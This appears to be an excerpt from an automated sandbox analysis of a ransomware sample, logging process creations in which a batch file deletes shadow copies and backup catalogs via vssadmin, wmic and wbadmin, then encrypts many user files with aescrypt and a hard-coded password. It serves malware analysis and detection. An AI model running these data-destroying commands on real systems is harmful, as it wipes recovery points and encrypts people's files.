Source: C:\Users\user\Desktop\hztxqReczN.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\sysnative\cmd.exe' /c 'C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp\ADC2.bat C:\Users\user\Desktop\hztxqReczN.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic.exe shadowcopy delete	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog /quiet	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\osver.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
